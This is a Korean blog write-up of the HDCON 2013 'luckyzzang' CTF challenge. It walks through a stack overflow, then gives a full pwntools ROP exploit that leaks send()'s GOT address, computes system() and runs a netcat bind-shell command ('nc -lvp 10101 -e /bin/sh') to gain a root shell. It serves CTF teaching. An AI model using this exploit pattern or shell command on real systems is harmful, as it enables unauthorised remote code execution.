[HDCON 2013] luckyzzang
Binary는 이렇습니다. canary는 없네요.
포트는 7777번으로 연결해줍니다.
들어가면 MSG를 입력 받고 종료됩니다.
입력 받는 부분을 보면 BOF가 터집니다. 하지만 v2 % 100의 숫자가 클 때 공격이 성공할 것 같습니다.
바이너리에 system 함수가 없으니 ROP를 이용해서 system 함수의 주소를 구하고 리버스 커넥션으로 exploit 하겠습니다. buf과 Return address의 거리는 0x408 + 4입니다.
입출력으로 send, recv를 이용할 것이니 ppppr gadget을 구해주겠습니다.
pppr : 0x080489cc
send 함수와 system 함수의 차(offset)을 이용해서 exploit할 때 system 함수의 주소를 알아내겠습니다.
offset : 0xabdd0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
from pwn import *
s = remote('localhost', 7777) e = ELF('./luckyzzang')
send_plt = e.plt['send'] send_got = e.got['send'] recv_plt = e.plt['recv']
ppppr = 0x080489cc offset = 0xabdd0
cmd = 'nc -lvp 10101 -e /bin/sh'
#Access the return address payload = "" payload += "A"*(0x408+4)
#Input command payload += p32(recv_plt) payload += p32(ppppr) payload += p32(4) payload += p32(e.bss()) payload += p32(len(cmd)+1) payload += p32(0)
#Output send_add payload += p32(send_plt) payload += p32(ppppr) payload += p32(4) payload += p32(send_got) payload += p32(4) payload += p32(0)
#Input system_add payload += p32(recv_plt) payload += p32(ppppr) payload += p32(4) payload += p32(send_got) payload += p32(4) payload += p32(0)
#Call send_plt(system) payload += p32(send_plt) payload += "AAAA" payload += p32(e.bss())
s.sendlineafter('MSG : ', payload) s.sendline(cmd)
send = u32(s.recv(4)) system = send - offset
print "[+] send() add : " + hex(send) print "[+] system() add : " + hex(system)
s.sendline(p32(system))
print 'Go "nc localhost 10101"' |
시나리오대로 코드를 작성했습니다.
손으로 돌리는 것 보다는
while true;do python luckyzzang_ex.py;done
이렇게 반복문을 돌리는 게 편하겠죠?
반복문을 돌려놓고 다른 터미널에 들어가서 nc localhost 10101로 접속해봅시다.
<반복문>
이렇게 recv가 안될 때도, send가 안될 때도, 끝까지 ex가 실행될 때도 있습니다.
<다른 터미널>
root 쉘을 취득했습니다.
'System&Write up > CTF' 카테고리의 다른 글
[Codegate 2018] BaskinRobins31 (4) | 2018.02.09 |
---|---|
[Codegate 2014] nuclear (0) | 2018.01.31 |
[Codegate 2014] angry_doraemon (0) | 2018.01.30 |
[Codegate 2017] babypwn (0) | 2018.01.29 |
[Pico CTF 2013] rop4 (0) | 2018.01.21 |